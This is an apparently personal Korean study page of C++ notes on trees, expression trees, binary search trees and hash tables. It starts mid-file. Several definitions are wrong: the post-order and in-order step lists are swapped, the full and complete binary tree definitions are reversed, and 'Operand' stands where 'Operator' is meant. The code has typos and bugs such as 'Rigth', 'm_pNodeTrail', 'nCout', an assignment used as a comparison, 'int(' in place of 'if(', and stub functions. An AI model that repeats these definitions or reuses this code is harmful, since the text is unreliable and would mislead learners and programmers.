false;<br>}<br>/*<br>&nbsp;트리 Tree</p><p>&nbsp;-Node(vertex)와 Link(edge)로 구성됨<br>&nbsp; *Node는 정보를 포함하고 있음<br>&nbsp; *Link는 두 Node간의 연결관계를 나타냄<br>&nbsp;-다음의 특징을 만족해야 함<br>&nbsp; *Root가 하나 존재 : Root는 최상위 Node<br>&nbsp; *Root를 제외한 모든 Node는 하나의 부모를 가져야 함<br>&nbsp; *Node는 여러개의 자식을 가질 수 있음<br>&nbsp; *한 Node로 부터 다른 Node로 가는 경로는 유일<br>&nbsp; <br>&nbsp;&nbsp;&nbsp; full binary tree<br>&nbsp;&nbsp;&nbsp;&nbsp; :마지막레벨을 제외한 모든 레벨에 노드가 꽉차있음<br>&nbsp;&nbsp;&nbsp; complete binary tree<br>&nbsp;&nbsp;&nbsp;&nbsp; :모든 레벨이 노드가 꽉차있음</p><p>&nbsp;&nbsp;&nbsp;&nbsp; Tree Traversal<br>&nbsp;&nbsp; Stack 기반: Pre-order, Post-order, In-order<br>&nbsp;&nbsp; Queue 기반: Level-order</p><p>&nbsp;&nbsp;pre-order 1.Root 2. Left 3. Right<br>&nbsp;&nbsp;post-order 1.Left 2. Root 3. Right<br>&nbsp;&nbsp;in-order 1.Left 2.Right 3.Root</p><p>&nbsp;&nbsp;&nbsp;&nbsp; 수식트리 Parse Tree<br>&nbsp;&nbsp;1.In-Order Traverse 하면 Infix Notation<br>&nbsp;&nbsp;2.Pre-Order Traverse 하면 Prefix Notation<br>&nbsp;&nbsp;3.Post-Order Traverse 하면 Postfix Notation</p><p>&nbsp;&nbsp; 후위표기에서 수식트리구성<br>&nbsp;&nbsp;&nbsp;&nbsp; 알고리즘<br>&nbsp;&nbsp; 1. Operand 는 Node를 만들어 Stack에 Push<br>&nbsp;&nbsp; 2. Operand 는 Node를 생성하여<br>&nbsp;&nbsp;&nbsp;&nbsp; 1. Stack에서 Pop한 노드를 오른쪽자식으로 하고<br>&nbsp;&nbsp;&nbsp;&nbsp; 2. Stack에서 또 Pop 한 노드를 왼쪽자식으로 하고<br>&nbsp;&nbsp;&nbsp;&nbsp; 3. Operator Node를 Stack에 Push<br>&nbsp;&nbsp; 3. Stack에 마지막으로남은 노드가 Root이다.<br>*/<br>/*<br>void BinaryTree::PreOrderTraverse(Node* pNode)<br>{<br>&nbsp;if(pNode != m_pNodeTail)<br>&nbsp;{<br>&nbsp;&nbsp;Visit(pNode);<br>&nbsp;&nbsp;PreOrderTraverse(pNode-&gt;pLeft);<br>&nbsp;&nbsp;PreOrderTraverse(pNode-&gt;pRight);<br>&nbsp;}<br>}<br>void BinaryTree::PreOrderTraverse_nr(Node *pNode)<br>{<br>&nbsp;ListStack&lt;Node*&gt; stack;<br>&nbsp;stack.Push(pNode);<br>&nbsp;while (!stack.IsEmpty())<br>&nbsp;{<br>&nbsp;&nbsp;pNode = stack.Pop();<br>&nbsp;&nbsp;if(pNode != m_pNodeTail)<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;Visit(pNode);<br>&nbsp;&nbsp;&nbsp;stack.Push(pNode-&gt;pRight);<br>&nbsp;&nbsp;&nbsp;stack.Push(pNode-&gt;pLeft);<br>&nbsp;&nbsp;}<br>&nbsp;}<br>}</p><p>*/ </p><p>template &lt;class T&gt; class BinaryTree<br>{<br>public:<br>&nbsp;BinaryTree();<br>&nbsp;~BinaryTree();<br>&nbsp;void RemoveAll();</p><p>protected:<br>&nbsp;struct Node {<br>&nbsp;&nbsp;T data;<br>&nbsp;&nbsp;Node* pLeft;<br>&nbsp;&nbsp;Node* pRight;<br>&nbsp;};<br>&nbsp;Node* m_pNodeHead;<br>&nbsp;Node* m_pNodeTail;<br>&nbsp;void RemoveSubtree(Node *pNode);<br>};<br>template &lt;class T&gt;<br>BinaryTree&lt;T&gt;::BinaryTree()<br>{<br>&nbsp;m_pNodeHead = new Node;<br>&nbsp;m_pNodeTail = new Node;<br>&nbsp;m_pNodeHead-&gt;pLeft = m_pNodeTail;<br>&nbsp;m_pNodeHead-&gt;pRight = m_pNodeTail;<br>&nbsp;m_pNodeTail-&gt;pLeft = m_pNodeTail;<br>&nbsp;m_pNodeTail-&gt;pRight = m_pNodeTail;<br>}<br>template &lt;class T&gt;<br>BinaryTree&lt;T&gt;::~BinaryTree()<br>{<br>&nbsp;RemoveAll();<br>&nbsp;if(m_pNodeHead)<br>&nbsp;&nbsp;delete m_pNodeHead;<br>&nbsp;if(m_pNodeTail)<br>&nbsp;&nbsp;delete m_pNodeTail;<br>}<br>template &lt;class T&gt;<br>void BinaryTree&lt;T&gt;::RemoveAll()<br>{<br>&nbsp;RemoveSubtree(m_pNodeHead-&gt;pLeft);<br>}<br>template &lt;class T&gt;<br>void BinaryTree&lt;T&gt;::RemoveSubtree(Node *pNode)<br>{<br>&nbsp;if(pNode != m_pNodeTail){<br>&nbsp;&nbsp;RemoveSubtree(pNode-&gt;pLeft);<br>&nbsp;&nbsp;RemoveSubtree(pNode-&gt;pRight);<br>&nbsp;&nbsp;delete pNode;<br>&nbsp;}<br>}</p><p><br>class ParseTree : public BinaryTree&lt;string&gt;<br>{<br>public:<br>&nbsp;void BuildParseTree(const string&amp; strPostfix);<br>&nbsp;bool IsOperator(char c) {<br>&nbsp;&nbsp;return (c =='+' || c=='-' ||c=='*'|| c== '/');<br>&nbsp;}<br>&nbsp;void PreOrderTraverse(Node *pNode =0);<br>&nbsp;void PostOrderTraverse(Node *pNode = 0);<br>&nbsp;void InOrderTraverse(Node *pNode =0);<br>&nbsp;void LevelOrderTraverse(Node *pNode =0);<br>&nbsp;void Visit(Node *pNode);<br>};<br>void ParseTree::BuildParseTree(const string&amp; strPostfix)<br>{<br>&nbsp;Node *pNode;<br>&nbsp;int i=0;<br>&nbsp;ListStack&lt;Node*&gt; NodeStack;<br>&nbsp;RemoveAll();</p><p>&nbsp;while(strPostfix[i])<br>&nbsp;{<br>&nbsp;&nbsp;while(strPostfix[i] == ' ')<br>&nbsp;&nbsp;&nbsp;i++;<br>&nbsp;&nbsp;pNode = new Node;<br>&nbsp;&nbsp;if(IsOperator(strPostfix[i])) {<br>&nbsp;&nbsp;&nbsp;pNode-&gt;data = strPostfix[i];<br>&nbsp;&nbsp;&nbsp;i++;<br>&nbsp;&nbsp;&nbsp;pNode-&gt;pRight = NodeStack.Pop();<br>&nbsp;&nbsp;&nbsp;pNode-&gt;pLeft = NodeStack.Pop();<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;else {<br>&nbsp;&nbsp;&nbsp;do {<br>&nbsp;&nbsp;&nbsp;&nbsp;pNode-&gt;data += strPostfix[i];<br>&nbsp;&nbsp;&nbsp;&nbsp;i++;<br>&nbsp;&nbsp;&nbsp;} while (strPostfix[i] != ' ' &amp;&amp; <br>&nbsp;&nbsp;&nbsp;&nbsp;i&lt;strPostfix.length());<br>&nbsp;&nbsp;&nbsp;pNode-&gt;pLeft = m_pNodeTail;<br>&nbsp;&nbsp;&nbsp;pNode-&gt;pRight = m_pNodeTail;<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;NodeStack.Push(pNode);<br>&nbsp;}<br>&nbsp;m_pNodeHead-&gt;pLeft = NodeStack.Pop();<br>&nbsp;<br>}<br>void ParseTree::PostOrderTraverse(Node* pNode)<br>{<br>&nbsp;if(pNode == 0)<br>&nbsp;&nbsp;pNode = m_pNodeHead-&gt;pLeft;</p><p>&nbsp;if(pNode != m_pNodeTail)<br>&nbsp;{<br>&nbsp;&nbsp;PostOrderTraverse(pNode-&gt;pLeft);<br>&nbsp;&nbsp;PostOrderTraverse(pNode-&gt;pRight);<br>&nbsp;&nbsp;Visit(pNode);<br>&nbsp;}<br>}<br>void ParseTree::PreOrderTraverse(Node* pNode)<br>{<br>&nbsp;if(pNode == 0)<br>&nbsp;&nbsp;pNode = m_pNodeHead-&gt;pLeft;</p><p>&nbsp;if(pNode != m_pNodeTail)<br>&nbsp;{<br>&nbsp;&nbsp;Visit(pNode);<br>&nbsp;&nbsp;PreOrderTraverse(pNode-&gt;pLeft);<br>&nbsp;&nbsp;PreOrderTraverse(pNode-&gt;pRight);<br>&nbsp;}<br>}<br>void ParseTree::InOrderTraverse(Node* pNode)<br>{<br>&nbsp;if(pNode == 0)<br>&nbsp;&nbsp;pNode = m_pNodeHead-&gt;pLeft;</p><p>&nbsp;if(pNode != m_pNodeTail)<br>&nbsp;{<br>&nbsp;&nbsp;InOrderTraverse(pNode-&gt;pLeft);<br>&nbsp;&nbsp;Visit(pNode);<br>&nbsp;&nbsp;InOrderTraverse(pNode-&gt;pRight);<br>&nbsp;}<br>}<br>void ParseTree::LevelOrderTraverse(Node* pNode)<br>{<br>&nbsp;if(pNode == 0)<br>&nbsp;&nbsp;pNode = m_pNodeHead-&gt;pLeft;</p><p>&nbsp;ListQueue&lt;Node*&gt; queue;<br>&nbsp;queue.Put(pNode);<br>&nbsp;while(!queue.IsEmpty())<br>&nbsp;{<br>&nbsp;&nbsp;pNode = queue.Get();<br>&nbsp;&nbsp;if(pNode != m_pNodeTail)<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;Visit(pNode);<br>&nbsp;&nbsp;&nbsp;queue.Put(pNode-&gt;pLeft);<br>&nbsp;&nbsp;&nbsp;queue.Put(pNode-&gt;pRight);<br>&nbsp;&nbsp;}<br>&nbsp;}<br>}</p><p>void ParseTree::Visit(Node *pNode)<br>{<br>&nbsp;printf("%s ", pNode-&gt;data.c_str());<br>}</p><p>/*<br>&nbsp;이진트리 검색 Binary Tree Search<br>&nbsp;-Binary Tree를 이용하는 검색방법<br>&nbsp;평균적으로 삽입/검색/삭제 모드 O(logN)의 성능<br>&nbsp;이전 검색트리의 조건<br>&nbsp; *부모노드는 왼족sub-tree의 모든 노드보다 크고<br>&nbsp; *부모노드는 오른쪽 sub-tree의 모든 노드보다 작다 <br>&nbsp;&nbsp;&nbsp;&nbsp; 따라서 이진트리를 In-Order Traversal하면 정렬된 순서다.<br>&nbsp;<br>&nbsp;&nbsp;&nbsp; 삽입 : O(N), 균형이 맞으면 O(logN)<br>&nbsp;검색 : O(N), 균형이 맞으면 O(logN)<br>&nbsp;삭제 : O(logN)<br>&nbsp;&nbsp;<br>*/</p><p>template &lt;class T&gt; class BinTreeMap : public BinaryTree&lt;T&gt;<br>{<br>public:<br>&nbsp;enum Exception{<br>&nbsp;&nbsp;INSUFFICIENT_MEMORY_FOR_SORT<br>&nbsp;};<br>&nbsp;BinTreeMap() : BinaryTree&lt;T&gt;() { m_nCount = 0;}<br>&nbsp;~BinTreeMap(){}<br>&nbsp;//Utilities<br>&nbsp;long GetCount() const {return m_nCount;}<br>&nbsp;bool IsEmpty() const { return m_nCount == 0;}<br>&nbsp;void RemoveAll() { BinaryTree&lt;T&gt;::RemoveAll(); m_nCount = 0;}<br>&nbsp;//Operations<br>&nbsp;bool Find(const T&amp; key, T&amp; value) const;<br>&nbsp;bool Insert(const T&amp; value);<br>&nbsp;bool Remove(const T&amp; key);<br>&nbsp;//Special operatiokn for Binary Tree Search<br>&nbsp;void Sort(T a[], int n, Node* p = 0) const;<br>&nbsp;void Balance();<br>protected:<br>&nbsp;long m_nCount;<br>&nbsp;Node* _balance(T a[], int n, bool start=true);</p><p>};</p><p>template &lt;class T&gt;<br>bool BinTreeMap&lt;T&gt;::Find(const T&amp; key, T&amp; value) const<br>{<br>&nbsp;Node *s = m_pNodeHead-&gt;pLeft;<br>&nbsp;while(s != m_pNodeTail)<br>&nbsp;{<br>&nbsp;&nbsp;if(key==s-&gt;data) {<br>&nbsp;&nbsp;&nbsp;value = s-&gt;data;<br>&nbsp;&nbsp;&nbsp;return true;<br>&nbsp;&nbsp;} else if ( key &lt; s-&gt;data ) {<br>&nbsp;&nbsp;&nbsp;s = s-&gt;pLeft;<br>&nbsp;&nbsp;} else {<br>&nbsp;&nbsp;&nbsp;s = s-&gt;Rigth;<br>&nbsp;&nbsp;}<br>&nbsp;}<br>&nbsp;return false;<br>}<br>template &lt;class T&gt;<br>bool BinTreeMap&lt;T&gt;::Insert(const T&amp; value)<br>{<br>&nbsp;Node *p,*s;<br>&nbsp;p = m_pNodeHead;<br>&nbsp;s = m_pNodeHead-&gt;pLeft;<br>&nbsp;while(s != m_pNodeTail)<br>&nbsp;{<br>&nbsp;&nbsp;p = s;<br>&nbsp;&nbsp;if(value &gt; s-&gt;data)<br>&nbsp;&nbsp;&nbsp;s = s-&gt;pRight;<br>&nbsp;&nbsp;else<br>&nbsp;&nbsp;&nbsp;s = s-&gt;pLeft;<br>&nbsp;}<br>&nbsp;s = new Node;<br>&nbsp;s-&gt;data = value;<br>&nbsp;s-&gt;pLeft = m_pNodeTail;<br>&nbsp;s-&gt;pRight = m_pNodeTail;</p><p>&nbsp;if(value &gt; p-&gt;data &amp;&amp; p!=m_pNodeHead) <br>&nbsp;&nbsp;p-&gt;pRight = s;<br>&nbsp;else<br>&nbsp;&nbsp;p-&gt;pLeft = s;<br>&nbsp;<br>&nbsp;m_nCount++;<br>&nbsp;return true;<br>}<br>/*<br>&nbsp;Leaf 노드 삭제는 간단함<br>&nbsp;내부노드의 경우 자신을 대체할 노드를 선택해야함<br>&nbsp; - 자신보다 작은 노드중 최대노드<br>&nbsp; - 자신보다 큰 노드중 최소노드<br>&nbsp;세가지 경우로 나누어 구현<br>&nbsp; - 삭제할 노드의 오른쪽자식이 없는 경우<br>&nbsp;&nbsp;&nbsp; cdd = del-&gt;pLeft<br>&nbsp;&nbsp;&nbsp; delp의 left 혹은 right 자식으로 cdd연결<br>&nbsp; - 삭제할 노드의 오른쪽자식의 왼쪽자식이 없는 경우<br>&nbsp;&nbsp;&nbsp; cdd = del-&gt;pRight<br>&nbsp;&nbsp;&nbsp; cdd-&gt;pLeft = del-&gt;pLeft;<br>&nbsp;&nbsp;&nbsp; delp의 left 혹은 right 자식으로 cdd연결<br>&nbsp; - 그외의 경우<br>&nbsp;&nbsp;&nbsp; cdd = del의 오른쪽 서브트리에서 가장 왼쪽노드 <br>&nbsp;&nbsp;&nbsp; cddp-&gt;pLeft = cdd-&gt;pRight<br>&nbsp;&nbsp;&nbsp; cdd-&gt;pLeft = del-&gt;pLeft;<br>&nbsp;&nbsp;&nbsp; cdd-&gt;pRight = del-&gt;pRight;<br>&nbsp;&nbsp;delp-&gt;pLeft of pRight = cdd;<br>&nbsp;&nbsp; <br>*/<br>template &lt;class T&gt;<br>bool BinTreeMap&lt;T&gt;::Remove(const T&amp; key)<br>{<br>&nbsp;if(IsEmpty()) return false;<br>&nbsp;Node *delp, *del;<br>&nbsp;Node *cdd,*cddp;<br>&nbsp;<br>&nbsp;// find del<br>&nbsp;delp = m_pNodeHead;<br>&nbsp;del = m_pNodeHead-&gt;pLeft;<br>&nbsp;while(!(key == del-&gt;data) &amp;&amp; del != m_pNodeTail) {<br>&nbsp;&nbsp;delp = del;<br>&nbsp;&nbsp;if(key &gt; del-&gt;data) del = del-&gt;pRight;<br>&nbsp;&nbsp;else del = del-&gt;pLeft;<br>&nbsp;}<br>&nbsp;if (del = m_pNodeTrail) return false;<br>&nbsp;if (del-&gt;pRight == m_pNodeTail) { // Case 1<br>&nbsp;&nbsp;cdd = del-&gt;pLeft;<br>&nbsp;} else if ( del-&gt;pRight-&gt;pLeft == m_pNodeTail) {// case 2<br>&nbsp;&nbsp;cdd = del-&gt;pRight;<br>&nbsp;&nbsp;cdd-&gt;pLeft = del-&gt;pLeft;<br>&nbsp;} else { // case3<br>&nbsp;&nbsp;cddp = del;<br>&nbsp;&nbsp;cdd = del-&gt;pRight;<br>&nbsp;&nbsp;while (cdd-&gt;pLeft != m_pNodeTail) {<br>&nbsp;&nbsp;&nbsp;cddp = cdd;<br>&nbsp;&nbsp;&nbsp;cdd = cdd-&gt;pLeft;<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;cddp-&gt;pLeft = cdd-&gt;pRight;<br>&nbsp;&nbsp;cdd-&gt;pLeft = del-&gt;pLeft;<br>&nbsp;&nbsp;cdd-&gt;pRight = del-&gt;pRight;<br>&nbsp;}<br>&nbsp;// delp의 자식으로 cdd를 결정<br>&nbsp;if(key &gt;del-&gt;data &amp;&amp; delp != m_pNodeHead)<br>&nbsp;&nbsp;delp-&gt;pRight =cdd;<br>&nbsp;else delp-&gt;pLeft = cdd;<br>&nbsp;delete del;<br>&nbsp;m_nCount --;<br>&nbsp;return true;<br>}</p><p>/*<br>&nbsp;이진트리 정렬<br>&nbsp; - N개의 자료를 Insert<br>&nbsp; - 트리를 In-Order Traversal 하면 됨<br>&nbsp; 평균(NlogN) 최악 O(N2)<br>*/<br>template &lt;class T&gt;<br>void BinTreeMap&lt;T&gt;::Sort(T a[], int n, Node* p)const<br>{<br>&nbsp;static int index = 0;<br>&nbsp;if (p == 0)<br>&nbsp;{<br>&nbsp;&nbsp;if(m_nCount!=n)<br>&nbsp;&nbsp;&nbsp;throw INSUFFICIENT_MEMORY_FOR_SORT;<br>&nbsp;&nbsp;index =0;<br>&nbsp;&nbsp;p = m_pNodeHead-&gt;pLeft;<br>&nbsp;}<br>&nbsp;if(p != m_pNodeTail)<br>&nbsp;{<br>&nbsp;&nbsp;Sort(a,n,p-&gt;pLeft);<br>&nbsp;&nbsp;a[index++] = p-&gt;data;<br>&nbsp;&nbsp;Sort(a,n,p-&gt;pRight);<br>&nbsp;}<br>}<br>/*<br>&nbsp;이진트리검색<br>*/<br>template &lt;class T&gt;<br>void BinaryTreeSort(T a[], int n)<br>{<br>&nbsp;BinTreeMap&lt;T&gt; bintree;<br>&nbsp;for(int i =0; i&lt;n; i++)<br>&nbsp;&nbsp;bintree.Insert(a[i]);<br>&nbsp;bintree.Sort(a,n);<br>}</p><p>/*<br>&nbsp;Binary Tree Balance Algorithm<br>*/<br>template &lt;class T&gt;<br>void BinTreeMap&lt;T&gt;::Balance()<br>{<br>&nbsp;T *a;<br>&nbsp;a = new T[m_nCount];<br>&nbsp;Sort(a, m_nCount);<br>&nbsp;int nCount = m_nCount;<br>&nbsp;RemoveAll();<br>&nbsp;m_pNodeHead-&gt;pLeft = _balance(a,nCout,true);<br>&nbsp;m_nCount = nCount;<br>&nbsp;delete []a;<br>}</p><p>template &lt;class T&gt;<br>BinTreeMap&lt;T&gt;::Node* <br>BinTreeMap&lt;T&gt;::_balance(T a[], int n, bool start)<br>{<br>&nbsp;static int index = 0;<br>&nbsp;if (start)<br>&nbsp;&nbsp;index = 0;<br>&nbsp;Node *p;<br>&nbsp;int nl, nr;<br>&nbsp;if (n &gt;0) {<br>&nbsp;&nbsp;nl = (n-1)/2;<br>&nbsp;&nbsp;nr = n - nl -1;<br>&nbsp;&nbsp;p = new Node;</p><p>&nbsp;&nbsp;p-&gt;pLeft = _balance(a, nl, false);<br>&nbsp;&nbsp;p-&gt;data = a[index++];<br>&nbsp;&nbsp;p-&gt;pRight = _balance(a, nr, false);<br>&nbsp;&nbsp;return p;<br>&nbsp;}<br>&nbsp;else<br>&nbsp;&nbsp;return m_pNodeTail;<br>}<br>/*<br>&nbsp;이진검색트리에서의 중복키 문제<br>&nbsp;Binary Tree + Linked List 로 해결 ;;<br>*/</p><p>/*<br>&nbsp;해쉬 Hash<br>&nbsp;Hash Function : 키값을 수치로 변환하는 함수<br>&nbsp; -인접키를 널리 퍼뜨리도록 하라<br>&nbsp;&nbsp; * 키값을 제곱, 세제곱을 하면 퍼진다.<br>&nbsp;&nbsp; * 비드연산으로 비트구성을 완전히 다르게 변환<br>&nbsp; -빈도가 높은 키영역을 넓게 펴도록 하라.<br>&nbsp;&nbsp; * 입력자료의 특성 분석 필요<br>&nbsp; -해쉬테이블의 크기는 소수(Prime Number)로 하는 것이 좋다.<br>&nbsp;&nbsp; * 적어도 20이하의 약수는 없도록</p><p>&nbsp;&nbsp; ex) MFC MAP_SO.CPP<br>&nbsp;&nbsp;&nbsp; inlien UINT CMapStringToOB::HashKey(LPCTSTR key) const<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;UINT nHash = 0;<br>&nbsp;&nbsp;&nbsp;while (*key)<br>&nbsp;&nbsp;&nbsp;&nbsp;nHash = (nHash&lt;&lt;5) + nHash + *key++;<br>&nbsp;&nbsp;&nbsp;return nHash;<br>&nbsp;&nbsp;&nbsp; }</p><p>&nbsp;Hash Table: <br>&nbsp;Collision 해결법<br>&nbsp; -Linear Probing = Open Addressing<br>&nbsp;&nbsp; 예상입력 자료수의 2배의 해쉬 테이블 필요<br>&nbsp;&nbsp; 정적인 자료 검색에 유리 <br>&nbsp; -Separate Chaining</p><p>&nbsp;Double Hash<br>&nbsp; -충돌시 이차 해쉬함수 사용<br>&nbsp; -연속된 클러스터가 더 적게 나올 수 있음<br>*/<br>template &lt;class T,class HASH&gt; class HashMap<br>{<br>public:<br>&nbsp;struct MapPos {<br>&nbsp;&nbsp;T key;<br>&nbsp;&nbsp;long index;<br>&nbsp;};<br>&nbsp;enum NodeStatus{<br>&nbsp;&nbsp;EMPTY, DELETED, AVAIL<br>&nbsp;};<br>protected:<br>&nbsp;struct Node {<br>&nbsp;&nbsp;T data;<br>&nbsp;&nbsp;NodeStatus status;<br>&nbsp;&nbsp;Node() { status = EMPTY;}<br>&nbsp;};<br>public:<br>&nbsp;//HASH연산을 하는 클래스를 인자로 받음<br>&nbsp;//unsigned long hash(const T&amp; k) const;<br>&nbsp;HashMap(const HASH&amp; hash, int nSize =100);<br>&nbsp;~HashMap(){delete [] m_pArray;}<br>&nbsp;//utility function<br>&nbsp;long GetCount() const { return m_nCount; }<br>&nbsp;bool IsEmpty() const { return m_nCount ==0;}<br>&nbsp;void RemoveAll() {<br>&nbsp;&nbsp;for (int i=0; i&lt;m_nArraySize; i++)<br>&nbsp;&nbsp;&nbsp;m_pArray[i].status = EMPTY;<br>&nbsp;}<br>&nbsp;//operations<br>&nbsp;bool Find(const T&amp; key, T&amp; value);<br>&nbsp;bool Insert(const T&amp; value);<br>&nbsp;bool Remove(const T&amp; key);<br>&nbsp;bool FindFirst(const T&amp; key, T&amp; value, MapPos&amp; pos) const;<br>&nbsp;bool FindNext(T&amp; value, MapPos&amp; pos) const;<br>&nbsp;bool RemoveAt(const MapPos&amp; pos);<br>protected:<br>&nbsp;Node *m_pArray;<br>&nbsp;long m_nArraySize;<br>&nbsp;long m_nCount;<br>&nbsp;HASH m_hash;<br>&nbsp;bool _find(MapPos&amp; pos) const;<br>&nbsp;int _next(const T&amp; key) const { return 1; }<br>};<br>template &lt;class T, class HASH&gt;<br>HashMap&lt;T,HASH&gt;::HashMap(const HASH&amp; hash, int nSize)<br>{ <br>&nbsp;m_hash = hash;<br>&nbsp;m_nArraySize = nSize;<br>&nbsp;m_pArray = new Node[nSize]; <br>}</p><p>template &lt;class T, class HASH&gt;<br>bool HashMap&lt;T,HASH&gt;::Insert(const T&amp; value)<br>{<br>&nbsp;int start, index;<br>&nbsp;index = start = m_hash.hash(value) % m_nArraySize;<br>&nbsp;while (m_pArray[index].status == AVAIL)<br>&nbsp;{<br>&nbsp;&nbsp;index = (index + _next(value)) % m_nArraySize;<br>&nbsp;&nbsp;if(index == start) // full<br>&nbsp;&nbsp;&nbsp;return false;<br>&nbsp;}<br>&nbsp;m_pArray[index].status = AVAIL;<br>&nbsp;m_pArray[index].data = value;<br>&nbsp;m_nCount ++;<br>&nbsp;return true;<br>}<br>template &lt;class T, class HASH&gt;<br>bool HashMap&lt;T,HASH&gt;::_find(MapPos&amp; pos)const<br>{<br>&nbsp;int start, index;<br>&nbsp;index = start = m_hash.hash(pos.key) % m_nArraySize;<br>&nbsp;while (m_pArray[index].status != EMPTY) // AVAIL or DELETED<br>&nbsp;{<br>&nbsp;&nbsp;if(m_pArray[index].status == AVAIL &amp;&amp; m_pArray[index].data == pos.key)<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;pos.index = index;<br>&nbsp;&nbsp;&nbsp;return true;<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;index = (index + _next(pos.key)) % m_nArraySize;<br>&nbsp;&nbsp;if(index == start) // 한바퀴 다 돌았다.;;<br>&nbsp;&nbsp;&nbsp;return false;<br>&nbsp;}<br>&nbsp;return false;<br>}<br>template &lt;class T,class HASH&gt;<br>bool HashMap&lt;T,HASH&gt;::Find(const T&amp; key, T&amp; value)<br>{<br>&nbsp;MapPos pos;<br>&nbsp;pos.key = key;<br>&nbsp;if(!_find(pos))<br>&nbsp;&nbsp;return false;<br>&nbsp;value = m_pArray[pos.index].data;<br>&nbsp;return true;<br>}<br>template &lt;class T,class HASH&gt;<br>bool HashMap&lt;T,HASH&gt;::FindFirst(const T&amp; key, T&amp; value, MapPos&amp; pos) const<br>{<br>&nbsp;// not codig yet<br>&nbsp;return true;<br>}<br>template &lt;class T,class HASH&gt;<br>bool HashMap&lt;T,HASH&gt;::FindNext(T&amp; value, MapPos&amp; pos) const<br>{<br>&nbsp;// not coding yet<br>&nbsp;return true;<br>}</p><p>template &lt;class T,class HASH&gt;<br>bool HashMap&lt;T,HASH&gt;::RemoveAt(const MapPos&amp; pos)<br>{<br>&nbsp;int(m_nCount &lt;=0 || pos.index &lt; 0 || pos.index &gt;=m_nArraySize)<br>&nbsp;&nbsp;return false;<br>&nbsp;if(m_pArray[pos.index].status != AVAIL) // nothing to remove<br>&nbsp;&nbsp;return false;<br>&nbsp;m_pArray[pos.index].status = DELETED;<br>&nbsp;m_nCount --;<br>&nbsp;return true;<br>}<br>template &lt;class T,class HASH&gt;<br>bool HashMap&lt;T,HASH&gt;::Remove(const T&amp; key)<br>{<br>&nbsp;MapPos pos;<br>&nbsp;pos.key = key;<br>&nbsp;pos.index = 0;<br>&nbsp;if(!_find(pos))<br>&nbsp;&nbsp;return false;<br>&nbsp;RemoveAt(pos);<br>&nbsp;return true;<br>}<br>/*<br>&nbsp;Separate Chaining<br>&nbsp; 해쉬테이블 = 연결리스트의 배열<br>&nbsp; 범용으로 사용가능<br>&nbsp; 동적인 상황에 유리<br>&nbsp; 삽입:DoubleList::AddHead()를 이용<br>&nbsp; 삭제:DoubleList::DeleteAt사용<br>&nbsp; 검색:DoubleList::Find를 이용<br>*/<br>template &lt;class T,class HASH&gt; class ChainMap<br>{<br>public:<br>&nbsp;struct MapPos {<br>&nbsp;&nbsp;T key;<br>&nbsp;&nbsp;long index;<br>&nbsp;&nbsp;POS pos; //링크드 리스트에서 이용<br>&nbsp;};<br>public:<br>&nbsp;ChainMap(const HASH&amp; hash, int nSize =100);<br>&nbsp;~ChainMap() { delete [] m_pArray;}<br>&nbsp;//utility functions<br>&nbsp;long GetCount() const { return m_nCount;}<br>&nbsp;bool IsEmpty() const { return m_nCount == 0;}<br>&nbsp;void RemoveAll() {<br>&nbsp;&nbsp;for (int i=0; i&lt;m_nArraySize;i++)m_pArray[i].RemoveAll();<br>&nbsp;}<br>&nbsp;//operations<br>&nbsp;bool Find(const T&amp; key, T&amp; value)const;<br>&nbsp;bool Insert(const T&amp; value);<br>&nbsp;bool Remove(const T&amp; key);<br>&nbsp;bool FindFirst(const T&amp; key, T&amp; value, MapPos&amp; pos) const;<br>&nbsp;bool FindNext(T&amp; value, MapPos&amp; pos) const;<br>&nbsp;bool RemoveAt(const MapPos&amp; pos);<br>protected:<br>&nbsp;ListSeqMap&lt;T&gt; *m_pArray;<br>&nbsp;long m_nCount;<br>&nbsp;long m_nArraySize;<br>&nbsp;HASH m_hash;<br>&nbsp;bool _find(MapPos&amp; pos)const;<br>};<br>template &lt;class T, class HASH&gt;<br>ChainMap&lt;T,HASH&gt;::ChainMap(const HASH&amp; hash, int nSize)<br>{<br>&nbsp;m_pArray = new ListSeqMap[nSize];<br>&nbsp;m_nArraySize = nSize;<br>&nbsp;m_nCount = 0;<br>&nbsp;m_hash = hash;<br>}<br>template &lt;class T, class HASH&gt;<br>bool ChainMap&lt;T,HASH&gt;::Insert(const T&amp; value)<br>{<br>&nbsp;int index = m_hash.hash(value) % m_nArraySize;<br>&nbsp;if(m_pArray[index].AddHead(value) == 0) return false;<br>&nbsp;else return true;<br>}<br>template &lt;class T, class HASH&gt;<br>bool ChainMap&lt;T,HASH&gt;::_find(MapPos&amp; pos) const<br>{<br>&nbsp;pos.index = m_hash.hash(pos.key) % m_nArraySize;<br>&nbsp;pos.pos = m_pArray[pos.index].Find(pos.key,pos.pos);<br>&nbsp;if(pos.pos == 0) return false;<br>&nbsp;else return true;<br>}<br>template &lt;class T, class HASH&gt;<br>bool ChainMap&lt;T,HASH&gt;::Find(const T&amp; key, T&amp; value) const<br>{<br>//&nbsp;MapPos pos;<br>//&nbsp;pos.key = key;<br>//&nbsp;if(!_find(pos))<br>//&nbsp;&nbsp;return false;<br>//&nbsp;value = m_pArray[pos.index]<br>}<br>template &lt;class T, class HASH&gt;<br>bool ChainMap&lt;T,HASH&gt;::RemoveAt(const MapPos&amp; pos)<br>{<br>&nbsp;int index = m_hash.hash(pos.key) % m_nArraySize;<br>&nbsp;m_pArray[index].DeleteAt(pos.pos);<br>&nbsp;return true;<br>}</p><p>/*<br>&nbsp;기수 검색 Radix Search<br>&nbsp;-Radix Tree, Radix Trie, Partricia, Extendible Hash( 주로 외부 검색(디시크)) ...<br>&nbsp;키비트 배열을 이용하는 검색방법</p><p>*/<br>/*<br>&nbsp;Radix Tree Search<br>&nbsp;-노드의 레벨에 해당하는 비트의 값에 따라(LSB부터)<br>&nbsp;-0은 왼쪽 자식으로 1은 오른쪽 자식으로 배치<br>&nbsp;-키의 디지털 특성을 이용함<br>&nbsp;&nbsp; 쏠림현상 제거<br>&nbsp;-키의 중복이 허용되지 않는다.<br>&nbsp;키의 비트수가 M이라면<br>&nbsp; 자료는 2 에 M승 개가 들어갈수 있고<br>&nbsp; 